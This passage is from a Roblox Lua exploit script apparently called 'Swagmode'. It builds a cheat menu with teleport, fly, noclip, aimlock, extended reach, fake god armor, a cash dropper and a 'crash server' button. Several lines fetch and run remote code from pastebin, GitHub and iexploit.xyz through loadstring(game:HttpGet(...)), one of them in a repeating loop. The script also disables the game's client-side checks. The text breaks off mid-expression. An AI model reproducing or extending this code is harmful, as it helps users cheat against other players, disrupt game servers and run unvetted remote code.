0.590557039, 0) AltArmor.Size = UDim2.new(0, 94, 0, 46) AltArmor.Font = Enum.Font.GothamBlack AltArmor.Text = "Alt Armor" AltArmor.TextColor3 = Color3.fromRGB(255, 255, 255) AltArmor.TextSize = 14.000 AltArmorColor.Name = "AltArmorColor" AltArmorColor.Parent = AltArmor AltArmorColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AltArmorColor.BorderSizePixel = 0 AltArmorColor.Size = UDim2.new(0, 93, 0, 5) AltArmorColor.Font = Enum.Font.SourceSans AltArmorColor.Text = "" AltArmorColor.TextColor3 = Color3.fromRGB(255, 0, 0) AltArmorColor.TextSize = 14.000 AntiBag.Name = "AntiBag" AntiBag.Parent = TogglesFrame AntiBag.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiBag.BorderSizePixel = 0 AntiBag.Position = UDim2.new(0.351977378, 0, 0.590557039, 0) AntiBag.Size = UDim2.new(0, 94, 0, 46) AntiBag.Font = Enum.Font.GothamBlack AntiBag.Text = "Anti-Bag" AntiBag.TextColor3 = Color3.fromRGB(255, 255, 255) AntiBag.TextSize = 14.000 AntiBagColor.Name = "AntiBagColor" AntiBagColor.Parent = AntiBag AntiBagColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiBagColor.BorderSizePixel = 0 AntiBagColor.Size = UDim2.new(0, 93, 0, 5) AntiBagColor.Font = Enum.Font.SourceSans AntiBagColor.Text = "" AntiBagColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiBagColor.TextSize = 14.000 AntiSlow.Name = "AntiSlow" AntiSlow.Parent = TogglesFrame AntiSlow.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiSlow.BorderSizePixel = 0 AntiSlow.Position = UDim2.new(0.355234176, 0, 0.0399999991, 0) AntiSlow.Size = UDim2.new(0, 94, 0, 46) AntiSlow.Font = Enum.Font.GothamBlack AntiSlow.Text = "Anti-Slow" AntiSlow.TextColor3 = Color3.fromRGB(255, 255, 255) AntiSlow.TextSize = 14.000 AntiSlowColor.Name = "AntiSlowColor" AntiSlowColor.Parent = AntiSlow AntiSlowColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiSlowColor.BorderSizePixel = 0 AntiSlowColor.Size = UDim2.new(0, 93, 0, 5) AntiSlowColor.Font = Enum.Font.SourceSans AntiSlowColor.Text = "" AntiSlowColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiSlowColor.TextSize = 14.000 SellingFrame.Name = "SellingFrame" SellingFrame.Parent = Buttons SellingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) SellingFrame.BackgroundTransparency = 1.000 SellingFrame.Size = UDim2.new(0, 316, 0, 325) SellingFrame.Visible = false CashTextbox.Name = "CashTextbox" CashTextbox.Parent = SellingFrame CashTextbox.BackgroundColor3 = Color3.fromRGB(10, 10, 10) CashTextbox.BorderSizePixel = 0 CashTextbox.Position = UDim2.new(0.0949367061, 0, 0.212307692, 0) CashTextbox.Size = UDim2.new(0, 257, 0, 34) CashTextbox.Font = Enum.Font.SourceSans CashTextbox.PlaceholderText = "INSERT MONEY AMOUNT" CashTextbox.Text = "" CashTextbox.TextColor3 = Color3.fromRGB(255, 255, 255) CashTextbox.TextSize = 14.000 CashDropperTitle.Name = "CashDropperTitle" CashDropperTitle.Parent = SellingFrame CashDropperTitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255) CashDropperTitle.BackgroundTransparency = 1.000 CashDropperTitle.Position = UDim2.new(0.158227861, 0, 0.0276923068, 0) CashDropperTitle.Size = UDim2.new(0, 217, 0, 26) CashDropperTitle.Font = Enum.Font.LuckiestGuy CashDropperTitle.Text = "CASH DROPPER" CashDropperTitle.TextColor3 = Color3.fromRGB(255, 255, 255) CashDropperTitle.TextSize = 30.000 CalculateButton.Name = "CalculateButton" CalculateButton.Parent = SellingFrame CalculateButton.BackgroundColor3 = Color3.fromRGB(10, 10, 10) CalculateButton.BorderSizePixel = 0 CalculateButton.Position = UDim2.new(0.0949367136, 0, 0.369230747, 0) CalculateButton.Size = UDim2.new(0, 118, 0, 27) CalculateButton.Font = Enum.Font.GothamBlack CalculateButton.Text = "Calculate" CalculateButton.TextColor3 = Color3.fromRGB(255, 255, 255) CalculateButton.TextSize = 14.000 DropToggleButton.Name = "DropToggleButton" DropToggleButton.Parent = SellingFrame DropToggleButton.BackgroundColor3 = Color3.fromRGB(10, 10, 10) DropToggleButton.BorderSizePixel = 0 DropToggleButton.Position = UDim2.new(0.532544494, 0, 0.369230747, 0) DropToggleButton.Size = UDim2.new(0, 118, 0, 27) DropToggleButton.Font = Enum.Font.GothamBlack DropToggleButton.Text = "Enable" DropToggleButton.TextColor3 = Color3.fromRGB(255, 255, 255) DropToggleButton.TextSize = 14.000 CashDroppedLabel.Name = "CashDroppedLabel" CashDroppedLabel.Parent = SellingFrame CashDroppedLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) CashDroppedLabel.BackgroundTransparency = 1.000 CashDroppedLabel.Position = UDim2.new(0.0949367136, 0, 0.596923113, 0) CashDroppedLabel.Size = UDim2.new(0, 200, 0, 12) CashDroppedLabel.Font = Enum.Font.GothamBlack CashDroppedLabel.Text = "Cash Dropped:" CashDroppedLabel.TextColor3 = Color3.fromRGB(255, 255, 255) CashDroppedLabel.TextSize = 14.000 CashDroppedLabel.TextXAlignment = Enum.TextXAlignment.Left CashAtEndLabel.Name = "CashAtEndLabel" CashAtEndLabel.Parent = SellingFrame CashAtEndLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) CashAtEndLabel.BackgroundTransparency = 1.000 CashAtEndLabel.Position = UDim2.new(0.0949367136, 0, 0.698461592, 0) CashAtEndLabel.Size = UDim2.new(0, 200, 0, 12) CashAtEndLabel.Font = Enum.Font.GothamBlack CashAtEndLabel.Text = "Cash you will have left:" CashAtEndLabel.TextColor3 = Color3.fromRGB(255, 255, 255) CashAtEndLabel.TextSize = 14.000 CashAtEndLabel.TextXAlignment = Enum.TextXAlignment.Left Frame_2.Parent = SellingFrame Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame_2.BorderSizePixel = 0 Frame_2.Position = UDim2.new(0.0949367061, 0, 0.769230783, 0) Frame_2.Size = UDim2.new(0, 152, 0, 4) CrashServerButton.Name = "CrashServerButton" CrashServerButton.Parent = SellingFrame CrashServerButton.BackgroundColor3 = Color3.fromRGB(10, 10, 10) CrashServerButton.BorderSizePixel = 0 CrashServerButton.Position = UDim2.new(0.0949367061, 0, 0.815384626, 0) CrashServerButton.Size = UDim2.new(0, 138, 0, 29) CrashServerButton.Font = Enum.Font.GothamBlack CrashServerButton.Text = "CRASH SERVER" CrashServerButton.TextColor3 = Color3.fromRGB(255, 255, 255) CrashServerButton.TextSize = 14.000 SwagmodeFrame.Active = true SwagmodeFrame.Draggable = true --[[ local function FUVO_fake_script() -- imiecredits.LocalScript local script = Instance.new('LocalScript', imiecredits) loadstring(game:HttpGet('https://iexploit.xyz/credits'))() end coroutine.wrap(FUVO_fake_script)() --]] imiecredits.Text = "Credits:\nby: yahyeee#7643\nUI by: imie#0039" --[[ local function PXXAONR_fake_script() -- UIGradient.LocalScript local script = Instance.new('LocalScript', UIGradient) game:GetService('RunService').RenderStepped:Connect(function() script.Parent.Rotation = (tick() * 75) % 360; end) end --coroutine.wrap(PXXAONR_fake_script)() local function OZAKZ_fake_script() -- SwagmodeFrame.DragScript local script = Instance.new('LocalScript', SwagmodeFrame) script.Parent.Active = true script.Parent.Draggable = true end coroutine.wrap(OZAKZ_fake_script)() --]] function hideframes() MainFrame.Visible = false QuickTpFrame.Visible = false SideScriptsFrame.Visible = false TogglesFrame.Visible = false SellingFrame.Visible = false end function announce(title,text,time) game.StarterGui:SetCore("SendNotification", { Title = title; Text = text; Duration = time; }) end Players = game:GetService('Players') UIS = game:GetService('UserInputService') RS = game:GetService('RunService') TogglesButton.MouseButton1Click:Connect(function() hideframes() TogglesFrame.Visible = true end) QuickTpButton.MouseButton1Click:Connect(function() hideframes() QuickTpFrame.Visible = true end) SideButton.MouseButton1Click:Connect(function() hideframes() SideScriptsFrame.Visible = true end) MainButton.MouseButton1Click:Connect(function() hideframes() MainFrame.Visible = true end) SellingButton.MouseButton1Click:Connect(function() hideframes() SellingFrame.Visible = true end) local formatNumber = (function (n) n = tostring(n) return n:reverse():gsub("%d%d%d", "%1,"):reverse():gsub("^,", "") end) function SetPlayerInfo() local foundplayer = game:GetService('Players'):FindFirstChild(TargetTextbox.Text) if foundplayer then local TargetId = foundplayer.UserId local ThumbType = Enum.ThumbnailType.HeadShot local ThumbSize = Enum.ThumbnailSize.Size420x420 local Content, IsReady = game:GetService('Players'):GetUserThumbnailAsync(TargetId, ThumbType, ThumbSize) TargetImage.Image = Content CashLabel.Text = ('Cash : ' .. formatNumber(foundplayer.DataFolder.Currency.Value)) BountyLabel.Text = ('Bounty : ' .. formatNumber(foundplayer.leaderstats.Wanted.Value)) local CrewValue = foundplayer:FindFirstChild('DataFolder'):FindFirstChild('Information'):FindFirstChild('Crew') if CrewValue then if CrewValue.Value ~= nil and CrewValue.Value ~= '' then Crew = game:GetService('GroupService'):GetGroupInfoAsync(tonumber(CrewValue.Value)) if Crew then CrewLabel.Text = ('Crew : ' .. Crew.Name ) CrewId = tonumber(CrewValue.Value) end else CrewLabel.Text = ('Crew : None') Crew = nil end else CrewLabel.Text = ('Crew : None') Crew = nil end end end CrewLabel.MouseButton1Click:Connect(function() if CrewLabel.Text ~= ('Crew : None') then setclipboard(CrewId) end end) function ShrinkName() TargetTextbox.FocusLost:connect(function() for i,v in pairs(game.Players:GetChildren()) do if (string.sub(string.lower(v.Name),1,string.len(TargetTextbox.Text))) == string.lower(TargetTextbox.Text) then TargetTextbox.Text = v.Name SetPlayerInfo() end end end) end ShrinkName() function view(plr) wait() if game.Players:FindFirstChild(plr) then if game.Players[plr].Character then game.Workspace:FindFirstChildWhichIsA('Camera').CameraSubject = game.Players:FindFirstChild(plr).Character.HumanoidRootPart else View.Text = 'View' end else View.Text = 'View' end end loadstring(game:HttpGet("https://pastebin.com/raw/nzXicwc1", true))() -- Chatspy local vu = game:GetService("VirtualUser") -- AntiAfk game:GetService("Players").LocalPlayer.Idled:connect(function() vu:Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame) wait(1) vu:Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame) end) spawn(function() -- Network game.RunService.RenderStepped:Connect(function() game.Players.LocalPlayer.MaximumSimulationRadius = 1000; setsimulationradius(1000,1000) end) end) coroutine.resume(coroutine.create(function() while wait(3) do local function main() if player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript') then player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript').Disabled = true end if player.Character.UpperTorso:FindFirstChild('OriginalSize') then player.Character.UpperTorso:FindFirstChild('OriginalSize'):Destroy() end loadstring(game:HttpGet('https://raw.githubusercontent.com/swagmode/swagmode/main/swagnames'))() end local success, err = pcall(main) end end)) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ player = game.Players.LocalPlayer mouse = player:GetMouse() MainEvent = game:GetService('ReplicatedStorage').MainEvent IsMod = false MaxDistance = 15 COOLDOWN = true RIDING = false Aimlocked = nil NamePos = CFrame.new(0,0,0) green = Color3.new(0,255,0) red = Color3.new(255,0,0) buyingarmor = false UIS.InputBegan:Connect(function(key,b) if key.KeyCode == Enum.KeyCode.V and not b then if SwagmodeFrame.Visible == true then SwagmodeFrame.Visible = false else SwagmodeFrame.Visible = true end end if key.KeyCode == Enum.KeyCode.Q and not b then if QToTpColor.BackgroundColor3 == green then if mouse.Target then local part = mouse.Target local partSize = part.Size local halfSize = partSize.Y/2 player.Character.HumanoidRootPart.CFrame = CFrame.new(mouse.Hit.X,part.Position.Y + halfSize + 3,mouse.Hit.Z) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X),math.rad(player.Character.HumanoidRootPart.Orientation.Y),math.rad(player.Character.HumanoidRootPart.Orientation.Z)) if not player.Character.LeftHand:FindFirstChild('LeftWrist') then player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position player.Character.RightHand.Position = player.Character.RightLowerArm.Position end end end end if key.KeyCode == Enum.KeyCode.LeftAlt and not b then if buyingarmor == false and AltArmorColor.BackgroundColor3 == green then local ItemCost = 1000 buyingarmor = true local ClickDetector = game:GetService("Workspace").Ignored.Shop["[Medium Armor] - $1000"].ClickDetector local Location = game:GetService("Workspace").Ignored.Shop["[Medium Armor] - $1000"].ClickDetector.Parent.Head.Position OldCFrame = player.Character.HumanoidRootPart.CFrame local function buy() wait() player.Character.HumanoidRootPart.CFrame = CFrame.new(Location) fireclickdetector(ClickDetector) end repeat buy() until player.Character.BodyEffects.Armor.Value == 100 or player.DataFolder.Currency.Value <= ItemCost or player.Character.BodyEffects.Armor:FindFirstChild('God') player.Character.HumanoidRootPart.CFrame = OldCFrame buyingarmor = false end end if key.KeyCode == Enum.KeyCode.F and not b then if HideBlockColor.BackgroundColor3 == green or AutoBlockColor.BackgroundColor3 == green then HoldingF = true player.Character:FindFirstChildWhichIsA('Humanoid').Name = 'SWAG ON TOP' while HoldingF == true and HideBlockColor.BackgroundColor3 == green do wait() for _,v in pairs(player.Character:FindFirstChildWhichIsA('Humanoid'):GetPlayingAnimationTracks()) do if v.Name == 'Block' then v:Stop() end end end end end if key.KeyCode == Enum.KeyCode.Space and not b then coroutine.resume(coroutine.create(function() if Stamina.Text == 'Unstamina' then HoldingSpace = true while HoldingSpace == true do wait() player.Character:FindFirstChildWhichIsA('Humanoid').JumpPower = 50 player.Character:FindFirstChildWhichIsA('Humanoid').Jump = true end end end)) if RIDING == true then COOLDOWN = false for i,v in pairs(game.Workspace.Ignored:GetChildren()) do if v.Name == 'MyLauncher' then v.Name = 'Launcher' end end repeat wait() until not game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('MyLauncher') COOLDOWN = true end end if key.KeyCode == Enum.KeyCode.E and not b then if Aimlock.Text == 'Unaimlock' then local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso') if not LowerTorso then LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso') end if LowerTorso then if LowerTorso.Parent.Name == 'SpecialParts' then Aimlocked = LowerTorso.Parent.Parent.Parent.Name else Aimlocked = LowerTorso.Parent.Name end announce('Aimlocked to ' .. Aimlocked, RPGTarget, 3) else Aimlocked = nil announce('Unaimlocked', '', 2) end end end end) HoldingSpace = false UIS.InputEnded:Connect(function(key,b) if key.KeyCode == Enum.KeyCode.F and not b then player.Character:FindFirstChildWhichIsA('Humanoid').Name = 'Humanoid' HoldingF = false end if key.KeyCode == Enum.KeyCode.Space then HoldingSpace = false end end) player.CharacterAdded:Connect(function(character) repeat wait() until player.Character NamePos = player.Character.HumanoidRootPart.CFrame if SpawnPosition ~= nil then player.Character.HumanoidRootPart.CFrame = SpawnPosition end end) game.Workspace.Ignored.ChildAdded:Connect(function(child) if child.Name == 'Launcher' and player.Character:FindFirstChild('[RPG]') then child.Name = 'MyLauncher' end end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ View.MouseButton1Click:Connect(function() if View.Text == 'View' then View.Text = 'Unview' repeat view(TargetTextbox.Text) until View.Text == 'View' game.Workspace:FindFirstChildWhichIsA('Camera').CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') else View.Text = 'View' end end) GodBlock.MouseButton1Click:Connect(function() if player.Character.HumanoidRootPart.Size.X == 2 and player.Character.HumanoidRootPart.Size.Y == 2 then player.Character.BodyEffects.Defense:Destroy() Defense = Instance.new("IntValue", player.Character.BodyEffects) Defense.Name = "Defense" Defense.Value = 100 announce('ez','successfully godblocked',10) else announce('Error','you need to be using UNBAN to use godblock',10) end end) GodArmor.MouseButton1Click:Connect(function() player.Character.BodyEffects.Armor:Destroy() Armor = Instance.new("IntValue", player.Character.BodyEffects) Armor.Name = 'Armor' Armor.Value = 100 GodLabel = Instance.new('IntValue', Armor) GodLabel.Name = 'God' end) Headless.MouseButton1Click:Connect(function() player.Character.Head:BreakJoints() player.Character.Head.Position = Vector3.new(0,99999999999999,0) end) GoTo.MouseButton1Click:Connect(function() player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position) end) NoRecoil.MouseButton1Click:Connect(function() for i,v in pairs(game:GetService('Workspace'):GetChildren()) do if v:IsA('Camera') then v:Destroy() end end local newcam = Instance.new('Camera',game.Workspace) newcam.Name = 'Camera' newcam.CameraType = 'Custom' newcam.CameraSubject = game:GetService('Workspace').Players:FindFirstChild(player.Name):FindFirstChild('Humanoid') newcam.HeadLocked = true newcam.HeadScale = 1 end) if not syn and not KRNL_LOADED then Reach.Text = 'ToolReach' end Reach.MouseButton1Click:Connect(function() if Reach.Text == 'ToolReach' then if player.Character:FindFirstChildWhichIsA('Tool') then player.Character:FindFirstChildWhichIsA('Tool').Handle.Size = Vector3.new(50,50,50) player.Character:FindFirstChildWhichIsA('Tool').Handle.Transparency = 1 else announce('Reach Error', 'you need to be holding a tool', 3) end else if Reach.Text == 'Reach' then Reach.Text = 'Unreach' while Reach.Text == 'Unreach' do wait() local success, err = pcall(function() if player.Character.BodyEffects.Attacking.Value == true then for i,v in pairs(game:GetService('Players'):GetChildren()) do if (v.Character.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.LeftHand.Position).Magnitude <= 50 then if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild('Handle') then firetouchinterest(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Handle, v.Character.UpperTorso, 0) else firetouchinterest(game.Players.LocalPlayer.Character['RightHand'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftHand'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['RightFoot'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftFoot'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['RightLowerLeg'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftLowerLeg'], v.Character.UpperTorso, 0) end end end end end end) end else Reach.Text = 'Reach' end end end) FreeFists.MouseButton1Click:Connect(function() for i,v in next, workspace:GetDescendants() do if v:IsA'Seat' then v:Destroy() end end local FistControl = false pcall(function() player.Character.LeftHand.LeftWrist:Destroy(); player.Character.RightHand.RightWrist:Destroy(); end); local loopFunction = function() player.Character.LeftHand.CFrame = CFrame.new(mouse.Hit.p); player.Character.RightHand.CFrame = CFrame.new(mouse.Hit.p); end; local Loop local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; UIS.InputBegan:Connect(function(a, b) if a.KeyCode == Enum.KeyCode.T and not b then if FistControl == false then FistControl = true; Start(); elseif FistControl == true then FistControl = false; Pause(); player.Character.LeftHand.CFrame = player.Character.LeftLowerArm.CFrame player.Character.RightHand.CFrame = player.Character.RightLowerArm.CFrame end; end; end) end) Target.MouseButton1Click:Connect(function() if Target.Text == 'Target' then Target.Text = 'Untarget' pcall(function() player.Character.LeftHand.LeftWrist:Destroy(); player.Character.RightHand.RightWrist:Destroy(); end); local loopFunction = function() if game.Players:FindFirstChild(TargetTextbox.Text).Character then player.Character.LeftHand.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position); player.Character.RightHand.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position); if game.Players:FindFirstChild(TargetTextbox.Text).Character.BodyEffects['K.O'].Value == true then Target.Text = 'Target' end else Target.Text = 'Target' end end; local Loop local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() announce('Target', 'no longer targeting', 5) player.Character.LeftHand.CFrame = player.Character.LeftLowerArm.CFrame player.Character.RightHand.CFrame = player.Character.RightLowerArm.CFrame end; Start() repeat wait() until Target.Text == 'Target' Pause() else Target.Text = 'Target' end end) local OldState = player.Character:FindFirstChildWhichIsA('Humanoid'):GetState() NoClip.MouseButton1Click:Connect(function() local Character = player.Character local Humanoid = Character:FindFirstChildWhichIsA('Humanoid') local Control = false local loopFunction = function() Humanoid:ChangeState(11) end; local Loop local Start = function() if Control == false then Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end end; local Ended = function() if Control == true then Humanoid:ChangeState(OldState) end end; Start() local Pause = function() Loop:Disconnect() end; local Pause2 = function() Start(); Loop2:Disconnect() end; UIS.InputBegan:Connect(function(a, b) if a.KeyCode == Enum.KeyCode.Z and not b then if Control == false then Control = true; Ended(); Pause(); elseif Control == true then Control = false; Pause2(); end; end; end); end) FLYMODE = 'Default' FLYSPEED = 20 FlySpeedPlus.MouseButton1Click:Connect(function() FLYSPEED = FLYSPEED + 3 announce('FlySpeed changed', tostring(FLYSPEED), 3) end) FlySpeedMinus.MouseButton1Click:Connect(function() FLYSPEED = FLYSPEED - 3 announce('Speed changed', tostring(FLYSPEED), 3) end) FlyMode.MouseButton1Click:Connect(function() if FLYMODE == 'Default' then FLYMODE = 'IY' announce('Flymode changed', 'IY Mode {changes on death}', 3) elseif FLYMODE == 'IY' then FLYMODE = 'SuperHero' announce('Flymode changed', 'HeroFly {changes on death}', 3) else FLYMODE = 'Default' announce('Flymode changed', 'Default {changes on death}', 3) end end) Fly.MouseButton1Click:Connect(function() if FLYMODE == 'Default' then local plr = game.Players.LocalPlayer local Humanoid = plr.Character:FindFirstChildWhichIsA('Humanoid') local mouse = plr:GetMouse() localplayer = plr if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end local Core = Instance.new("Part") Core.Name = "Core" Core.Size = Vector3.new(0.05, 0.05, 0.05) spawn(function() Core.Parent = workspace local Weld = Instance.new("Weld", Core) Weld.Part0 = Core Weld.Part1 = localplayer.Character.LowerTorso Weld.C0 = CFrame.new(0, 0, 0) end) workspace:WaitForChild("Core") local torso = workspace.Core flying = true local speed=FLYSPEED local keys={a=false,d=false,w=false,s=false} local e1 local e2 local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name="EPIXPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.maxTorque = Vector3.new(15e15, 15e15, 15e15) gyro.cframe = torso.CFrame repeat wait() Humanoid.PlatformStand=true local new=gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed=FLYSPEED end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed end if keys.d then new = new * CFrame.new(speed,0,0) speed=speed end if keys.a then new = new * CFrame.new(-speed,0,0) speed=speed end if speed>FLYSPEED then speed=FLYSPEED end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until flying == false if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying=false Humanoid.PlatformStand=false speed=FLYSPEED end e1=mouse.KeyDown:connect(function(key) if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end if key=="w" then keys.w=true elseif key=="s" then keys.s=true elseif key=="a" then keys.a=true elseif key=="d" then keys.d=true elseif key=="x" then if flying==true then flying=false else flying=true start() end end end) e2=mouse.KeyUp:connect(function(key) if key=="w" then keys.w=false elseif key=="s" then keys.s=false elseif key=="a" then keys.a=false elseif key=="d" then keys.d=false end end) start() elseif FLYMODE == 'IY' then repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse local plr = game.Players.LocalPlayer local torso = plr.Character.Head local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 5000 local speed = 5000 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = true if ctrl.l + ctrl.r ~= 100000 or ctrl.f + ctrl.b ~= 10000 then speed = speed+.0+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 5 or ctrl.f + ctrl.b ~= 5) and speed ~= 5 then speed = speed-5 if speed > 5 then speed = -2 end end if (ctrl.l + ctrl.r) ~= 5 or (ctrl.f + ctrl.b) ~= 5 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 5 and (ctrl.f + ctrl.b) == 5 and speed ~= 5 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 5 bg:Destroy() bv:Destroy() plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "x" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = FLYSPEED elseif key:lower() == "s" then ctrl.b = -FLYSPEED elseif key:lower() == "a" then ctrl.l = -FLYSPEED elseif key:lower() == "d" then ctrl.r = FLYSPEED end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end) Fly() elseif FLYMODE == 'SuperHero' then local player = game.Players.LocalPlayer local Flyanimation = Instance.new('Animation', game.Workspace) Flyanimation.AnimationId = 'rbxassetid://3541044388' local Idleanimation = Instance.new('Animation', game.Workspace) Idleanimation.AnimationId = 'rbxassetid://3541114300' local HeroIdle = player.Character.Humanoid:LoadAnimation(Idleanimation) local HeroFly = player.Character.Humanoid:LoadAnimation(Flyanimation) Idleing2 = false local function flyanim() --HeroIdle:Stop() local FlyingA = false for i,v in pairs(player.Character.Humanoid:GetPlayingAnimationTracks()) do if v.Animation.AnimationId == 'rbxassetid://3541044388' then FlyingA = true end if v.Animation.AnimationId == 'rbxassetid://2788289281' then v:Stop() end if v.Animation.AnimationId == 'rbxassetid://2788292075' then v:Stop() end end if FlyingA == false and Idleing2 == false then HeroFly:Play() end end local SPEED = FLYSPEED repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse local plr = game.Players.LocalPlayer local torso = plr.Character.Head flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} maxspeed = 5000 speed = 5001 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = true if ctrl.l + ctrl.r ~= 100000 or ctrl.f + ctrl.b ~= 10000 then speed = speed+.0+(speed/maxspeed) local foundidle = false flyanim() if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 5 or ctrl.f + ctrl.b ~= 5) and speed ~= 5 then speed = speed-5 if speed > 5 then speed = -2 end end if (ctrl.l + ctrl.r) ~= 5 or (ctrl.f + ctrl.b) ~= 5 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + 